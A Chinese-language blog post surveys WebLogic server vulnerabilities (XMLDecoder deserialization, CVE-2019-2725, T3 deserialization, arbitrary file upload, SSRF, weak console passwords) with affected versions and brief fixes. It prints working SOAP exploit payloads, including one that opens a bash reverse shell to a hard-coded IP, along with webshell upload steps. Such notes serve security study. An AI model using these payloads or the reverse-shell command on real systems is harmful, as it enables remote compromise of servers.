zoukankan      html  css  js  c++  java
  • 常见web中间件漏洞(五)weblogic漏洞

    继续整理有关中间件漏洞思路(仅做简单思路整理,不是复现,复现请参考大佬们的长篇好文,会在文章中列举部分操作)

     

    WebLogic是Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件

    WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器,将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中

    支持的内容比tomcat、Jboss都多,是个全能型的应用服务器

    下载链接:https://www.oracle.com/middleware/technologies/weblogic.html

    感谢老铁的共享oracle账户密码(搜一搜网上有很多)

    安装流程参考:https://www.cnblogs.com/xrg-blog/p/12779853.html

    https://blog.csdn.net/acmman/article/details/70093877

    JDK需要符合版本,不然容易悲剧

    1.XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)

    Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令

     受害版本:

    • 10.3.6.0
    • 12.1.3.0.0
    • 12.2.1.1.0
    • 12.2.1.2.0

    如果存在此漏洞,则访问此路径xxxxxxxxxx:7001/xxx

    (xxx可以是

    /wls-wsat/CoordinatorPortType
    /wls-wsat/RegistrationPortTypeRPC
    /wls-wsat/ParticipantPortType
    /wls-wsat/RegistrationRequesterPortType
    /wls-wsat/CoordinatorPortType11
    /wls-wsat/RegistrationPortTypeRPC11
    /wls-wsat/ParticipantPortType11
    /wls-wsat/RegistrationRequesterPortType11
    即在wls-wsat包中的uri)

    以/wls-wsat/CoordinatorPortType11为例

    正常是404, 如果成功访问此页面,说明可能有漏洞

    改成POST方式传包,将content-type改成text/xml类型,并在POST数据包下构造内容:

    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
          <soapenv:Header>
            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
               <java version="1.6.0" class="java.beans.XMLDecoder">
                <object class="java.io.PrintWriter"> 
              <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string>
                    <void method="println"> <string>hello world</string>
                    </void>
                    <void method="close"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>

    访问 /wls_internal/test.txt会显示hello world(写进路径去了)

    注意:servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt不一定是这个路径,根据版本不同还可能是下面这个或者其他什么的,具体需要自己判断

    servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war

    也可以换成其他的操作都可以,比如类似这种反弹的,hello world也可以换成shell

    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java version="1.4.0" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>bash -i &gt;&amp; /dev/tcp/192.168.43.248/9999 0&gt;&amp;1</string>
    </void>
    </array>
    <void method="start"/></void>
    </java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>

    为了避免CVE-2017-3506补丁的影响,可将object换成void,实现CVE-2017-10271

    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java>
          <void class="java.io.PrintWriter">
            <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
          <void method="println">
        <string>
              <![CDATA[
          <% out.print("hello world"); %>
              ]]>
            </string>
          </void>
          <void method="close"/>
          </void>
        </java>
        </work:WorkContext>
        </soapenv:Header>
        <soapenv:Body/>
    </soapenv:Envelope>

    复现参考:https://blog.csdn.net/yumengzth/article/details/97522783

    漏洞代码层面原理分析参考:https://blog.51cto.com/skytina/2055335

    修复有人说删除组件的,,,就别用这些版本的好了

     或者限制wls-wsat访问

     CVE-2017-3506是CVE-2017-10271的前身,都是利用wls-wsat的,见上文,不说了

    2.Weblogic wls9_async_response,wls-wsat 反序列化远程代码执行漏洞(CVE-2019-2725)

    影响组件:bea_wls9_async_response.war, wls-wsat.war

    影响版本:10.3.6.0, 12.1.3.0

    复现参考:https://blog.csdn.net/yeshankuangrenaaaaa/article/details/107533194

     访问路径/_async/AsyncResponseService如果不是404而是

     类似这种

    说明你不对劲

    以下路径均为收到影响的路径

    /_async/AsyncResponseService

    /_async/AsyncResponseServiceJms

    /_async/AsyncResponseServiceHttps

    其可视为CVE-2017-10271的思想延续。。。

    CVE-2017-3506的补丁过滤了object

    CVE-2017-10271的补丁过滤了new,method标签,且void后面只能跟index,array后面可以跟class,但是必须要是byte类型的

    CVE-2019-2725的补丁新增了部分内容,将class加入了黑名单,限制了array标签中的byte长度

     POC根据版本与利用链不同而五花八门。。。

    复现参考:https://www.secpulse.com/archives/122235.html

     https://www.freebuf.com/vuls/206374.html

    https://blog.csdn.net/weixin_41598660/article/details/111247208

    https://www.cnblogs.com/null1433/p/12674614.html

    3.Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

    影响版本:

     Weblogic 10.3.6.0
     Weblogic 12.1.3.0
     Weblogic 12.2.1.2
     Weblogic 12.2.1.3

    该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令

    常利用的姿势是通过ysoserial的JRMP模块进行远程代码执行。。。

    复现及原理参考:https://www.bilibili.com/read/cv5838869/

    原理参考:

    https://xz.aliyun.com/t/8073

    https://www.freebuf.com/vuls/169420.html

    https://www.freebuf.com/vuls/169322.html

    4.Weblogic 任意文件上传漏洞(CVE-2018-2894)

     Weblogic管理端未授权的两个页面存在任意文件上传漏洞,进而获取服务器权限

      weblogic 10.3.6.0、weblogic 12.1.3.0、weblogic 12.2.1.2、weblogic 12.2.1.3受到影响

    登录后台页面,点base_domain的配置,在 ‘高级’ 中勾选 ‘启用 Web 服务测试页’ 选项,然后保存配置

    访问ws_utc/config.do,设置Work Home Dir为ws_utc应用的静态文件css目录,访问这个目录是无需权限的(如果能改的话)

    然后点击 ‘安全’ -> ‘添加’ ,可以上传jsp大马

     访问这个上传的马还需要利用时间戳(抓返回包获得)

    访问http://IP:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell

    复现参考:https://www.cnblogs.com/huasheng333/p/13222818.html

    https://blog.csdn.net/weixin_43625577/article/details/97001677

    访问ws_utc/begin.do,也存在上传点,也可以传webshell,还是,抓返回包中的webshell路径,访问之

    用新版的吧

    5.Weblogic SSRF漏洞 (CVE-2014-4210)

    影响版本:10.0.2.0, 10.3.6.0

    访问 /uddiexplorer/SearchPublicRegistries.jsp,若能正常访问,不是404,则可能存在此漏洞

    在页面上,填写任意信息,抓包,点击search

     参数operator为SSRF可控参数

    通过访问不同IP 和port,观察返回值,来探测IP与端口开放状态

    直接删掉SearchPublicRegistries.jsp

    复现参考:https://www.bilibili.com/read/cv8820050

    https://www.cnblogs.com/bmjoker/p/9759761.html

    6.Weblogic 弱口令 && 后台getshell

    额,能访问登录界面,存在弱口令问题的(参考https://cirt.net/passwords?criteria=WebLogic),例如访问

    http://127.0.0.1:7001/console

    就能跳转到登录界面,弱口令走着

    可以通过部署、安装

    传war包,安装,启动安装的应用,访问之

    复现参考:https://www.cnblogs.com/bmjoker/p/9822886.html

    https://www.cnblogs.com/null1433/p/12684170.html

    所以说,要避免弱口令

    我倒是很喜欢弱口令

    永远的神or万恶之源?

    未经允许,禁止转载

  • 相关阅读:
    Rabbitmq
    eclipse查看源码
    winSCP:无权访问
    jdk1.8.0环境变量设置
    【Linux】开放指定端口设置
    Redis (windows)安装
    [转]Windows8下设置VS默认启动方式为管理员启动
    [转]varchar(n),nvarchar(n) 长度、性能、及所占空间分析
    [转]Linq中GroupBy方法的使用总结
    [转]人人网首页拖拽上传详解(HTML5 Drag&Drop、FileReader API、formdata)
  • 原文地址:https://www.cnblogs.com/lcxblogs/p/14522293.html
Copyright © 2011-2022 走看看